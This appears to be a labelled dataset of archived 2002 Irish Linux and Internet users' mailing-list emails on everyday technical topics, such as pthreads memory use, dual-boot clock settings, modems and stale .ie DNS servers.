crap colution anyway, why would you want to make it more > robust ? > Give yourself credit :-) it's a nice solution, with just 2 lightweight processes. The same thing coded in shell loops wouldn't be nearly as elegant and not as scalable to boot. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,Vincent Cunniffe ,"Mon, 19 Aug 2002 22:32:09 +0100 (IST)",Re: [ILUG] linux pthreads problem,"On Mon, 19 Aug 2002, Vincent Cunniffe wrote: > The process list initially shows a single main process : > > 16877 1.0 0.2 1824 540 pts/1 S 17:14 0:00 ./heartbeat2 > > When the client runs, connects, and sleeps for 5 seconds : > > 16877 0.0 0.2 10024 604 pts/1 S 17:14 0:00 ./heartbeat2 > 16887 0.5 0.2 1796 720 pts/1 S 17:15 0:00 ./client > 16888 0.0 0.2 10024 604 pts/1 S 17:15 0:00 ./heartbeat2 > 16889 0.0 0.0 0 0 pts/1 Z 17:15 0:00 [heartbeat2 > ] > > When the client exits, and the thread should finish, it doesn't : > > 16877 0.0 0.2 10024 604 pts/1 S 17:14 0:00 ./heartbeat2 > 16888 0.0 0.2 10024 604 pts/1 S 17:15 0:00 ./heartbeat2 > > This second thread never goes away, but no more threads accumulate, > and the total memory consumption rises by about 8-9MB every single > time a client connects. > > C++ bug, linux bug, pthreads bug, coding error? hmm... with pthreads there is always one thread which acts as a 'thread manager'. do the number of processes accumulate? or is it just that the # of threads is == # of threads you're expecting + 1? if the latter, ttbomk that is normal. ie, you dont create the thread until the accept() returns. so up until then its a normal programme (ie no thread manager). after that you will always have +1 processes (for the thread manager). also, the stack for further threads is allocated from the heap. (see sigaltstack() ) possibly glibc does not brk() back the space, just like malloc()/free() does not always release the space to the heap again (as most programmes will allocate memory / threads again soonish anyway). > Regards, > > Vin regards, -- Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A warning: do not ever send email to spam@dishone.st Fortune: The Official Colorado State Vegetable is now the ""state legislator"". -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Anthony ,ilug@linux.ie,"Mon, 19 Aug 2002 23:30:12 +0100",Re: [ILUG] hwclock,"> will have problems though if you use Windows, as it will tell wrong time > for half the year, and will reset the clock when you boot into it after > the change in time (this might be fixed in XP/2000, I don't know). > Even if you set the hwclock to localtime, you will get problems when you > boot into windows, as both Linux and Windows will try to alter the > hwclock (maybe there is a way to suppress windows doing this). > m Hi there, I recently delved into how the linux system clock and the hardware clock interact with each other when I set up ntp on my system while connected to the net. However, I didn't realise that Windows altered the hw clock as there was no mention of it in any of the docs I read. I still dual-boot on a regular basis and if Windows is sneakily messing with the clock, I'd be interested to know in what way it is and how it couild be stopped from doing so. Everything seems to work fine since I set the system up but I still don't like to have these gaps in my knowledge. Regards, Anthony Geoghegan -- The worst sin towards our fellow creatures is not to hate them, but to be indifferent to them. That is the essence of inhumanity - George Bernard Shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Michael Conry ,"Anthony , ilug@linux.ie","Tue, 20 Aug 2002 00:45:46 +0100",Re: [ILUG] hwclock,"On 0020 +0100 %{!Mon, Aug 19, 2002 at 11:30:12PM +0100}, Anthony wrote: > to the net. However, I didn't realise that Windows altered the hw clock > as there was no mention of it in any of the docs I read. > I still dual-boot on a regular basis and if Windows is sneakily messing > with the clock, I'd be interested to know in what way it is and how it > couild be stopped from doing so. In my experience Windows will change the hardware clock the first time you boot into it after the clocks have gone forward/back an hour. This will only happen twice a year. How to stop it, I have not checked (I just switch the clock back an hour from within windows after such a reboot). Is there a GMT windows timezone? With ntp, it is a big no-no (afaik) to have other programs messing with the clock as it will put ntp's calculations of drift etc., out. (maybe this only applies to chrony, which is what I use). If the windows change only moves forward an hour, and you shift back an hour, maybe ntp will be (relatively) ok (depends if all the remaining digits of time precision are left unchanged, probably they aren't exactly). m -- Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 ccostelloe@flogas.ie,"michael.conry@ucd.ie, ant@elivefree.net, ilug@linux.ie","Tue, 20 Aug 2002 9:39:22 +0100",Re[2]: [ILUG] hwclock,"> On 0020 +0100 %{!Mon, Aug 19, 2002 at 11:30:12PM +0100}, Anthony wrote: >> to the net. However, I didn't realise that Windows altered the hw clock >> as there was no mention of it in any of the docs I read. >> I still dual-boot on a regular basis and if Windows is sneakily messing >> with the clock, I'd be interested to know in what way it is and how it >> couild be stopped from doing so. > In my experience Windows will change the hardware clock the first time > you boot into it after the clocks have gone forward/back an hour. This > will only happen twice a year. How to stop it, I have not checked (I > just switch the clock back an hour from within windows after such a > reboot). Is there a GMT windows timezone? Start->Settings->Control Panel->Date/Time->Time Zone tab-> Uncheck ""Automatically adjust clock for daylight saving change"". Ciaran -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'Con Hennessy'"" , ilug@linux.ie","Tue, 20 Aug 2002 09:54:29 +0100","RE: [ILUG] ADSL, routers and firewalls","I'm configuring this at the moment. -> Still ;--) I found out that my firewall box has a dodgy USB and so I'm awaiting a PCI-USB controller to finish the configuration. I meant to buy one yesterday and forgot. I've bought Smoothwall Corporate edition as its the best firewall/routing solution around or so I've been led to believe. Will be doing NAT/Proxy/firewall, maybe VPN too but we shall see. CW ----------- Hi all, I am seriously thinking of getting the ADSL ""solo"" connection from Eircom. I also have more than one computer therefore I need a router so that I can connect them together. The 2 options I am looking at are : the ADSL usb modem connected to my linux machine, with the linux machine acting as firewall; and a combined router / firewall box which would be connected directly to the ADSL modem. So my questions are : what recommendations would any of you have about the above ? do I need to have NAT (I have only a vague idea of what this does )? what other options should I be looking at ? Thanks Con -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Mac Lochlainn"" ",", ","Tue, 20 Aug 2002 10:14:59 +0100",Re: [ILUG] Mail sent to ILUG,"is it really necessary to send these to the list? ----- Original Message ----- From: To: Sent: Tuesday, August 20, 2002 8:54 AM Subject: [ILUG] Mail sent to ILUG > Your mail to 'ILUG' with the subject: > > Audio plays a critical part in the Web surfer's consciousness rvxa > > Is being held until the list moderator can review it for approval. > > The reason it is being held: > > Suspicious header > > Either the message will get posted to the list, or you will receive > notification of the moderator's decision. > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'mconway35@eircom.net'"" , ilug@linux.ie","Tue, 20 Aug 2002 10:38:52 +0100",RE: [ILUG] Newbie Questions,"Yo Mark, Have you goten the closed source drivers from Nvidia or are you still using the wans that came with Redbum? http://www.nvidia.com and then somewhere...somwhere-else... Installation is WELL detailed, you should see the NV splash screen, don;t forget to edit the config files. CW -------------------------------------- Hi I have just installed Red Hat 7.2 on my desktop machine. I am completely new to Linux and therefore have run into a few problems. The graphic display on my PC doesnt seem to work. My monitor is slightly miss-aligned and I cannot run any high resolution games ( everything freezes ). In the hardware browser in Gnome it lists my Graphics Card (Riva TNT2), and shows installed drivers...... maybe the problem lies elswhere. Another problem I have is that I cannot install my ISDN, USB modem ( LASAT Speed Basic ), however im pretty sure its not supported by Linux, but again it is featured in the Hardware Browser, without installed drivers. If anybody has any ideas, please let me know cos id like to use Linux more. Please keep in mind I am new to it though. Thanks Mark -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'mconway35@eircom.net'"" , ILUG@linux.ie","Tue, 20 Aug 2002 10:29:19 +0100",RE: [ILUG] RE: Newbie Question,"Yes, the lasat speed basic sucks-ass.com, it won't work coz its from eircon who are shite. I have two of em sitting in my drawer of ""might have a use some day or other""... Get yourself an el-cheapo ISDN card, 50 yoyo's will usually suffice. I have a TRUST load a crap HFC based one which has been trodding along nicely for yonks. Gets detected automagically by pretty much ANY distro, has kernel support for a million years or so. Later, CW p.s.: you other modems are probably winmodems and are a pain in ze arse.com, they will work with lots of poking but not worth the effort IMHO. Just use ISDN and NAT it. ----------------- Regarding: Another problem I have is that I cannot install my ISDN, USB modem ( LASAT Speed Basic ), however im pretty sure its not supported by Linux, but again it is featured in the Hardware Browser, without installed drivers. Thanks for your replies.... However i still cant get it to detect the External USB modem. I also have an internal 56k fax modem, but i cannot get that detected either ( maybe its because it was designed for Windows and is not supported ). Im not going to buy a new modem ( I think 2 is more than enough for 1 PC ). It could well be my inexperience with Linux that is making this more difficult, but whatever it is iv just about had enough!! Any last gasp ideas would be welcome Many Thanks Mark -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'Colin Nevin'"" , ilug@linux.ie","Tue, 20 Aug 2002 10:31:53 +0100",RE: [ILUG] staroffice 6.0 installation freezes under RH7.3,"No problems installing OpenOffice 653??? and 1.0. Had some issues with bz2's being corrupted but fixed when downloaded again. I am downloading the src of 1.01 at the mo to se if it will work any faster compiled for my architecture. Regards, CW ------------ Hi All, Just wondering if anyone has ever installed StarOffice 6.0 (or Open Office), and if any have experienced any problems with the install freezing ? I'm using RedHat 7.3 kernel 2.4.18-3, and glibc 2.2.5 ? I might try downloading OpenOffice instead if it is unresolved!!!! Cheers all, Colin __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,Vincent Cunniffe ,"Tue, 20 Aug 2002 10:37:23 +0100",Re: [ILUG] linux pthreads problem,"Vincent Cunniffe wrote: > > Possibly. However, the amount of memory in use is stupid : > > I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. > > Then I stop those threads, and the usage stays there. I start another 50 > threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither > freeing the resources correctly nor reusing them :-/ > > I've found several other people seeing the same VSZ issue with pthreads, > spread over a long time, but no solution as yet. Err, Is your code fixed now? You need a seperate pthread_t per thread. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug ,"Tue, 20 Aug 2002 10:43:00 +0100",Re: [ILUG] linux pthreads problem,"Padraig Brady wrote: > Vincent Cunniffe wrote: > >> >> Possibly. However, the amount of memory in use is stupid : >> >> I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. >> >> Then I stop those threads, and the usage stays there. I start another 50 >> threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither >> freeing the resources correctly nor reusing them :-/ >> >> I've found several other people seeing the same VSZ issue with pthreads, >> spread over a long time, but no solution as yet. > > > Err, Is your code fixed now? > You need a seperate pthread_t per thread. I've tested it with and without separate pthread_t's, and the problem is identical, unfortunately. Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 20 Aug 2002 11:02:32 +0100",RE: [ILUG] linux pthreads problem,"> -----Original Message----- > From: Vincent Cunniffe [mailto:vincent@cunniffe.net] > Sent: 20 August 2002 10:43 > To: ilug > Subject: Re: [ILUG] linux pthreads problem > > Padraig Brady wrote: > > Vincent Cunniffe wrote: > > > >> > >> Possibly. However, the amount of memory in use is stupid : > >> > >> I start 50 threads, and the memory usage goes up to 411436 VSZ/840 RSS. > >> > >> Then I stop those threads, and the usage stays there. I start another > 50 > >> threads, and the usage goes up to 821036 VSZ/1040 RSS. So, it's neither > >> freeing the resources correctly nor reusing them :-/ > >> > >> I've found several other people seeing the same VSZ issue with > pthreads, > >> spread over a long time, but no solution as yet. > > > > > > Err, Is your code fixed now? > > You need a seperate pthread_t per thread. > > I've tested it with and without separate pthread_t's, and the problem is > identical, unfortunately. > > Regards, > > Vin > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription > information. > List maintainer: listmaster@linux.ie Are you using pthread_join(somethread,0); When you are closing off your instanciated thread made from pthread_t*somethread ? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Tue, 20 Aug 2002 11:16:59 +0100",RE: [ILUG] linux pthreads problem,"> Are you using pthread_join(somethread,0); > When you are closing off your instanciated thread made from > pthread_t*somethread ? Something like this might help you out.... Class la{ Public: pthread_t*thread; void thread_me(int num) }; la*lala; typedef struct list { la*w; struct list*next; }list_struct; list_struct*head; void thread_me(int num); void add_to_list(la*o); void delete_from_list(); int main(int argc,char**argv) { int a=1; lala=new la; thread= new pthread_t; add_to_list(lala); pthread_create(thread,0,&lala.thread_me,&a); thread= new pthread_t; add_to_list(lala); pthread_create(thread,0,&lala.thread_me,&a); delete_from_linked_list(); return 0; }; void lala::thread_me(int num) { printf(""lalala""); pthread_join((*this)->thread,0); return; }; void add_to_list(la*o) { static list_struct*a; a=new list_struct; a->w=o; a->next=head; head=a; return; }; void delete_from_linked_list() { list_struct*a; while(head!=NULL) { a=head; head=head->next; delete a; }; return; }; -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Tue, 20 Aug 2002 11:50:05 +0100",Re: [ILUG] postfix,"hrishy's [hrishys@yahoo.co.uk] 22 lines of wisdom included: > Hi All > > > I ahd some users test1 test2 etc.i deleted their > mailboxes from /var/mail/test1 etc.now the postfix > queue seems to be huge can anybody help what could be > wrong Some logs might be of some help. 1) some output of /var/log/maillog with some relevant error message (that could be /var/log/mail.log or some other log depending on your configuration) 2) the output from ``postconf -n'' On another note, you did recreate the mailboxes, didn't you? -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Tue, 20 Aug 2002 12:06:18 +0100",Re: [ILUG] SMTP auth & mutt,"John P. Looney's [valen@tuatha.org] 11 lines of wisdom included: > OK, Mutt uses sendmail to deliver mail... > > How can I get it to deliver via a Postfix box with SMTP auth enabled ? Mutt interacts with smtpdaemon or something like that doesn't it? Can mutt interact directly with SMTP server with authentication capabilities? I don't think it can. Surely you can just run a mailserver on your own machine and send mail using it? -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Tue, 20 Aug 2002 12:10:04 +0100",Re: [ILUG] SMTP auth & mutt,"On Tue, Aug 20, 2002 at 12:06:18PM +0100, Philip Reynolds mentioned: > John P. Looney's [valen@tuatha.org] 11 lines of wisdom included: > > OK, Mutt uses sendmail to deliver mail... > > > > How can I get it to deliver via a Postfix box with SMTP auth enabled ? > > Mutt interacts with smtpdaemon or something like that doesn't it? > > Can mutt interact directly with SMTP server with authentication > capabilities? I don't think it can. > > Surely you can just run a mailserver on your own machine and send > mail using it? Hmm. Yeah, mutt sorta calls the sendmail program directly. But I thought it would be very crap if the auth details (username, password) had to be hardcoded into the sendmail.cf (and damned if I can work out how to do that anyway). Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Tue, 20 Aug 2002 12:21:12 +0100",RE: [ILUG] mirroring on a running system,"Well boyz, whats the story? Its tuesday an all. I've to work late today so what time are we talking about? CW ------------------- On Wed, Aug 14, 2002 at 09:22:27AM +0100, Wynne, Conor mentioned: > When are we going to have a pint? Tuesday next week. Boars Head, Capel st. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ","""Wynne, Conor"" ","Tue, 20 Aug 2002 12:23:04 +0100",Re: [ILUG] mirroring on a running system,"On Tue, Aug 20, 2002 at 12:21:12PM +0100, Wynne, Conor mentioned: > Well boyz, whats the story? Its tuesday an all. I've to work late today so > what time are we talking about? I've to leave the girlfriend home first. So, I'll be there sometime just after seven. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Wynne, Conor"" ","""'ilug@linux.ie'"" ","Tue, 20 Aug 2002 12:43:46 +0100",RE: [ILUG] mirroring on a running system,"Sound. I'll be there at 7ish so. CW ----------- I've to leave the girlfriend home first. So, I'll be there sometime just after seven. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Mac Lochlainn"" ","""Waider"" , ""Martin Feeney"" ","Tue, 20 Aug 2002 12:41:53 +0100",Re: [ILUG] Mail sent to ILUG,"Thanks lads, I didn't mean to criticise/give offence or anything (someone mailed me off list who seemed to think I did) but I was just wondering ""if anything could be done"" about those messages. Maybe it was a stupid question, seeing as I know virtually nothing about mailman, listservs, or server side spam filtering, but thanks for answering intelligently! Ciaran Waider elucidated: > Martin Feeney wrote: > | On Tue, 20 Aug 2002 10:14:59 Ciaran Mac Lochlainn wrote: > | > |> is it really necessary to send these to the list? > | > | > | What's happening is that the scumbag spammers are forging the from > | address to be ilug@linux.ie as well, so the notification to them that > | their email is being reviewed gets sent back to the from address: > | ilug@linux.ie > | > | Martin. > | > > Not to belabour the point, but noone can legitimately send mail to ilug > from ilug@linux.ie, so Mailman should be catching this and stopping it. > Not sending confirms or whatever, just dropping the mail on the floor. > > Cheers, > Waider. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Liam Bedford ,Anthony ,"Tue, 20 Aug 2002 15:31:17 +0100",Re: [ILUG] hwclock,"On Tue, Aug 20, 2002 at 03:07:35PM +0100, Anthony wrote: > > > In my experience Windows will change the hardware clock the first time > > > you boot into it after the clocks have gone forward/back an hour. This > > > will only happen twice a year. How to stop it, I have not checked (I > > > just switch the clock back an hour from within windows after such a > > > reboot). Is there a GMT windows timezone? > >  > > > Start->Settings->Control Panel->Date/Time->Time Zone tab-> Uncheck > > ""Automatically adjust clock for daylight saving change"". > > > > Ah, that's grand. I knew about that aspect and had already unchecked the > appropriate box. I was just worried that Windows was engaging in > undocumented behaviour that I didn't know about. > well, it changes the time then, and then leaves it alone. However, Windows expects the time in the RTC to be local time. Linux can be configured to do either this, or to have the RTC at UTC, and then use /etc/localtime to figure out the right timezone. Depending on how you've set it up, this may be a problem (with one or other of the OS's one hour out). OS-X also does this silliness :( (RTC should always have UTC, that way different people can set their own timezone on the machine... though I suppose that only applies to multi-user machines). L. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Tim ,ILUG ,"Tue, 20 Aug 2002 23:51:16 +0100",[ILUG] [OT] MacOSX mailing list?,"Hi all, Sorry for the OT. Just wondering if anybody knows of a similar type mailing list specifically dealing with MacOSX? (which, FYI is a version of BSD) Sln, Tim -- One month on the internet in Ireland: Eur720 One month on the internet in Britain: Eur 25 Visit http://www.irelandoffline.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 al@mpsc.ph,,"Wed, 21 Aug 2002 14:52:11 +0800 (PHT)",[ILUG] dial-on-demand,"Could you please help me how to set up a dial-on-demand, what are the packages needed, and other requirements to get on. Do you know a site that has a how to and the package where to get it. Please help me please for this was my assignment. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug ,"Wed, 21 Aug 2002 10:27:29 +0100",[ILUG] Gobe going GPL,"I missed this previously, but the Gobe productive office suite (available for Linux and Windows) is going GPL. http://www.theregister.co.uk/content/4/26642.html Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Declan Grady ,Irish Linux Users Group ,"Wed, 21 Aug 2002 12:26:29 +0100",[ILUG] relating data from 2 ascii files ?,"Hi folks, Apologies if this is the wrong place to ask, but I am trying to do on my linux desktop what I used to do with some other os software. I'm trying to use a combination of some bash scripts and some perl to generate reports from a couple of ascii files. Eventually these will run on a server and get the files by ftp, analyse them and mail me the results. As I'm no programmer (by any stretch of the imagination !) I'm getting a bit lost. I can deal with single files (eventually) using grep, egrep, awk, and a nice perl script called 'total' which i found while googling. Problem now is that the data I'm trying to report on is split between two isam files. File 1 contains Docket Number, Line Number, Item, quantity, price, duedate File 2 contains Docket Number, Customer, Shipping date, invoice number. To make some sense of the data, I need to relate the Docket number between the 2 files, so that I can generate a report by customer. My first reaction is to look at mysql, and import the ascii data into 2 tables so that I can use sql queries. Is this the way to go, or should I delve a bit deeper into perl ? Any advice welcome. Thanks, Declan -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,Declan Grady ,"Wed, 21 Aug 2002 12:30:12 +0100",Re: [ILUG] relating data from 2 ascii files ?,"Declan Grady wrote: > Hi folks, > Apologies if this is the wrong place to ask, but I am trying to do on my linux desktop what I used to do with some other os software. > > I'm trying to use a combination of some bash scripts and some perl to generate reports from a couple of ascii files. Eventually these will run on a server and get the files by ftp, analyse them and mail me the results. > > As I'm no programmer (by any stretch of the imagination !) I'm getting a bit lost. > > I can deal with single files (eventually) using grep, egrep, awk, and a nice perl script called 'total' which i found while googling. > > Problem now is that the data I'm trying to report on is split between two isam files. > > File 1 contains > Docket Number, Line Number, Item, quantity, price, duedate > > File 2 contains > Docket Number, Customer, Shipping date, invoice number. > > To make some sense of the data, I need to relate the Docket number between the 2 files, so that I can generate a report by customer. > > My first reaction is to look at mysql, and import the ascii data into 2 tables so that I can use sql queries. > > Is this the way to go, or should I delve a bit deeper into perl ? > > Any advice welcome. man join -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Kiall Mac Innes"" ",,"Wed, 21 Aug 2002 12:42:17 +0100",[ILUG] URGENT: Cant get a skrew out... PLEASE HELP!,"Hi i have a phillips head skrew thats holding a circut board together i need to take it out ASAP and nothing will work, the threads on the skrew are almost completly gone, its is a very small skrew that i have to use a percision skrewdriver set to remove the skrews any help would be appreaciated... Kiall Mac Innes -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 John Madden ,Kiall Mac Innes ,"Wed, 21 Aug 2002 12:38:57 +0100",Re: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP!,"On (21/08/02 12:42), Kiall Mac Innes didst pronounce: > > Hi i have a phillips head skrew thats holding a circut board together i need > to take it out ASAP and nothing will work, the threads on the skrew are > almost completly gone, its is a very small skrew that i have to use a > percision skrewdriver set to remove the skrews any help would be > appreaciated... > Try a hammer -- great precision tool that!! -- Chat ya later, John. -- BOFH excuse #167: excessive collisions & not enough packet ambulances -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Cathal A. Ferris"" ",Kiall Mac Innes ,"Wed, 21 Aug 2002 12:54:15 +0100 (IST)",Re: [ILUG] URGENT: Cant get a skrew out... PLEASE HELP!,"Spray a bit of wd40 around the screw, and leave for a few minutes Try using a small crocodile-nosed pliers if you have enough space around th head of the screw. If not, try a hacksaw blade on the shaft of the screw under the board (taking care not to scratch the underside of the board. after cutting the screw, that holder on the board support structure cannot really be used again. Another method is to get a small screwdriver that you can consider disposable, and gently tap it into the head of the stripped screw, until you either have a flat head screw, or you can get enough turning force on it. Cathal. On Wed, 21 Aug 2002, Kiall Mac Innes wrote: > Hi i have a phillips head skrew thats holding a circut board together i need > to take it out ASAP and nothing will work, the threads on the skrew are > almost completly gone, its is a very small skrew that i have to use a > percision skrewdriver set to remove the skrews any help would be > appreaciated... > > Kiall Mac Innes > > > -- Cathal Ferris. pio@skynet.ie +353 87 9852077 www.csn.ul.ie/~pio --- -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 James Raftery ,iiu@taint.org,"Fri, 19 Jul 2002 14:59:18 +0100",[IIU] IE nameserver problems,"Hi, Four of the IE nameservers are publishing out of date DNS information. The four listed below are publishing the IE zone from last Friday. They are six days behind reality. 192.16.202.11 NS.EU.NET. 192.93.0.4 NS2.NIC.FR. 198.133.199.102 GNS1.DOMAINREGISTRY.IE. 198.133.199.103 GNS2.DOMAINREGISTRY.IE. The upshot of this is that correct DNS resolution for IE DNS data that has been added or updated since last Friday is going to be intermittant. If you're lucky your resolver will query one of the five nameservers that are publishing an up-to-date zone. Unfortunately, five out of nine aren't good odds. Don't forget, if you lose the gamble your resolver is going to cache the bad data for up to two days. If you're a user of BIND 8 or BIND 9 you could add blackhole { 192.16.202.11; 192.93.0.4; 198.133.199.102; 198.133.199.103; }; to your named.conf and restart BIND to avoid query the bad nameservers. This will prevent _any_ queries to those servers. Putting 16.1.0.18 204.123.2.18 16.1.0.19 192.111.39.100 212.17.32.2 193.1.142.2 in /service/dnscache/root/servers/ie and restarting dnscache will have the same result for dnscache users. ATB, james _______________________________________________ Irish Internet Users mailing list Irish Internet Users@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 iiu-admin@taint.org,iiu-admin@taint.org,"Fri, 19 Jul 2002 15:28:01 +0100",Irish Internet Users post from yyyycc@hackwatch.com requires approval,"As list administrator, your authorization is requested for the following mailing list posting: List: Irish Internet Users@iiu.taint.org From: yyyycc@hackwatch.com Subject: Re: [IIU] IE nameserver problems Reason: Post to moderated list At your convenience, visit: http://iiu.taint.org/mailman/admindb/iiu to approve or deny the request.",0,1 John McCormac ,James Raftery ,"Fri, 19 Jul 2002 15:27:51 +0100",Re: [IIU] IE nameserver problems,"James Raftery wrote: > > Hi, > > Four of the IE nameservers are publishing out of date DNS information. > The four listed below are publishing the IE zone from last Friday. > They are six days behind reality. James, Last week, when indexing stuff for WhoisIreland.com, I noticed that ns0.domainregistry.ie and banba.domainregistry.ie were out of synch by a few days. The other nameservers seemed to give a current SOA at that time. However the affected secondaries may have been using ns0.domainregistry.ie for axfr and propagated the error. This whole thing does seriously bring into question IEDR's decision to outsource the technical admininstration of .ie to a company that apparently does not even admin its own DNS. It is a nice story though - almost as good as the time that .ie disappeared for 8 hours in July 1998. Regards...jmcc -- ******************************************** John McCormac * Hack Watch News jmcc@hackwatch.com * 22 Viewmount, Voice: +353-51-873640 * Waterford, BBS&Fax: +353-51-850143 * Ireland http://www.hackwatch.com/~kooltek ******************************************** -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6 mQCNAzAYPNsAAAEEAPGTHaNyitUTNAwF8BU6mF5PcbLQXdeuHf3xT6UOL+/Od+z+ ZOCAx8Ka9LJBjuQYw8hlqvTV5kceLlrP2HPqmk7YPOw1fQWlpTJof+ZMCxEVd1Qz TRet2vS/kiRQRYvKOaxoJhqIzUr1g3ovBnIdpKeo4KKULz9XKuxCgZsuLKkVAAUX tCJKb2huIE1jQ29ybWFjIDxqbWNjQGhhY2t3YXRjaC5jb20+tBJqbWNjQGhhY2t3 YXRjaC5jb20= =sTfy -----END PGP PUBLIC KEY BLOCK----- _______________________________________________ Irish Internet Users mailing list Irish Internet Users@iiu.taint.org http://iiu.taint.org/mailman/listinfo/iiu",0,1 yyyy@spamassassin.taint.org (Justin Mason),iiu@taint.org,"Tue, 23 Jul 2002 14:04:23 +0100",[IIU] mailman crash on list host,"Hi all -- We had a pretty serious crash on the list host over the weekend, and it destroyed all configuration data. As a result, I've had to rebuild the mailing list from various other sources -- including the archives of past list traffic. If you're a list subscriber, you may have received a ""welcome to the list"" mail. All well and good. However, if you *used* to be subscribed to one of the lists at some point in 2002, or never were (I'm hoping that didn't happen!), you may have also have received one of these. Just go to the URL and click ""unsubscribe"", providing the password from the mail if necessary. If you're a list admin on any of the lists at lists.boxhost.net or 